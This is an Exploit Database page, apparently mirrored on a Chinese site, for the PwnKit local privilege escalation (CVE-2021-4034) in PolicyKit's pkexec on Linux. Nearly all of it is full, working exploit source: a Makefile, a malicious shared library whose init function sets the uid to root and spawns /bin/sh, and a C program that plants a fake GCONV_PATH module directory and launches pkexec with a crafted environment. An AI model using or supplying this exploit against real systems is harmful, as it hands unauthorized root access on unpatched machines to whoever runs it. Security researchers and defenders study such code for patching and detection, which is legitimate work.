PolicyKit-1 0.105-31 – Privilege Escalation

• Exploit Database
• 109 阅读

• 作者： Lance Biggerstaff
  日期： 2022-01-27
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/50689/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70

  # Exploit Title: PolicyKit-1 0.105-31 - Privilege Escalation # Exploit Author: Lance Biggerstaff # Original Author: ryaagard (https://github.com/ryaagard) # Date: 27-01-2022 # Github Repo: https://github.com/ryaagard/CVE-2021-4034 # References: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt   # Description: The exploit consists of three files <code>Makefile</code>, <code>evil-so.c</code> & <code>exploit.c ##### Makefile #####   all: gcc -shared -o evil.so -fPIC evil-so.c gcc exploit.c -o exploit   clean: rm -r ./GCONV_PATH=. && rm -r ./evildir && rm exploit && rm evil.so   #################   ##### evil-so.c #####   #include <stdio.h> #include <stdlib.h> #include <unistd.h>   void gconv() {}   void gconv_init() { setuid(0); setgid(0); setgroups(0);   execve("/bin/sh", NULL, NULL); }   #################   ##### exploit.c #####   #include <stdio.h> #include <stdlib.h>   #define BIN "/usr/bin/pkexec" #define DIR "evildir" #define EVILSO "evil"   int main() { char *envp[] = { DIR, "PATH=GCONV_PATH=.", "SHELL=ryaagard", "CHARSET=ryaagard", NULL }; char *argv[] = { NULL };   system("mkdir GCONV_PATH=."); system("touch GCONV_PATH=./" DIR " && chmod 777 GCONV_PATH=./" DIR); system("mkdir " DIR); system("echo &apos;module\tINTERNAL\t\t\tryaagard//\t\t\t" EVILSO "\t\t\t2&apos; > " DIR "/gconv-modules"); system("cp " EVILSO ".so " DIR);   execve(BIN, argv, envp);   return 0; }   #################